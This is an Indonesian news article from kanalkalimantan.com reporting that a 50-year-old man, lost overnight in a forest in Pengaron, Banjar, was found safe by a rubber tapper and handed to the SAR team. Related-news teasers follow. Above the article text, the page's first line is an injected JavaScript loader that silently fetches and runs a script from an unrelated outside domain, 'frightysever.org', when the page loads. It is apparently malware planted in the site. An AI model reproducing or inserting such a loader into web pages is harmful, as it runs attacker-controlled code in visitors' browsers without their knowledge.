(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Usai sudah pencarian terhadap Muhammad (50) warga Desa Benteng, Pengaron, Kabupaten Banjar, Kalimantan Selatan yang dinyatakan hilang, Rabu (26/4/2023).
Lelaki paruh baya asal Desa Benteng itu ditemukan dalam keadaan selamat, setelah dilaporkan hilang semalaman di Hutan Desa Maniapun, Kecamatan Pengaron.
Dia tersesat di lebatnya hutan saat hendak pulang ke rumah hingga ditemukan oleh salah seorang warga yang sedang menyadap getah karet di hutan.
Oleh warga itu pula, Muhammad diantar kepada tim SAR gabungan sekitar pukul 11.30 Wita, pada Kamis (27/4/2023).
Baca juga: 100 Peserta Ikuti Bimbingan Teknis Inovasi Daerah Kabupaten Banjar
Kepala Kantor Pencarian dan Pertolongan (Basarnas) Banjarmasin Al Amrad, SSos, membenarkan bahwa korban telah ditemukan dalam keadaan selamat.
“Korban diantar oleh salah satu warga yang pada saat itu bertemu dengan korban di hutan saat sedang menyadap getah karet,” ujar Kepala Kantor Pencarian dan Pertolongan (Basarnas) Banjarmasin, Al Amrad kepada media, Kamis (27/4/2023).
Menurut keterangan Muhammad, kronologi kejadian bermula saat di mana dia sedang membersihkan kebun miliknya yang berada di hutan Desa Maniapun itu.
“Saat korban hendak pulang ke rumah ternyata korban lupa jalan arah pulang menuju ke rumah,” ungkap Muhammad (50).
Kemudian korban menjelaskan jika dia telah menyusuri hutan untuk mencari jalan pulang, namun tak kunjung keluar dari hutan tersebut.
Sampai tak terasa hari mulai larut malam. Jarak pandangnya pun terbatas hingga membuat korban enggan meneruskan perjalanan, ditambah juga dengan minimnya pencahayaan di hutan tersebut.
Baca juga: Gasak Uang di Brankas untuk Judi Slot, Pengawas SPBU ini Diringkus Tim Macan Kalsel
“Saya pun memutuskan istirahat di dalam hutan tepatnya di bawah pohon sampai menunggu besok pagi,” sambungnya.
Tepat di pagi harinya, korban mengaku bertemu warga yang sedang menyadap getah karet tadi. Saya pun meminta bantuan untuk mengantar saya pulang,” tutur korban.
Al Amrad menambahkan jika pencarian ini melibatkan sejumlah Unsur SAR, seperti Basarnas Banjarmasin, Polsek Pengaron, Koramil 1006-02/Pengaron, Relawan Desa Benteng, BPK SABAK, BPK Hubul Watan,TSB serta masyarakat sekitar.
Dia pun mengucapkan banyak terima kasih kepada seluruh Unsur SAR yang terlibat dalam pencarian ini.
“Semua ini adalah kerja tim dan alhamdulilah korban dapat ditemukan dalam keadaan selamat, semoga seluruh unsur SAR dapat lebih solid kedepannya dalam menjalankan misi kemanusiaan,” tutup Al Amrad. (kanalkalimantan.com/wanda)
Reporter: wanda
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
This website uses cookies.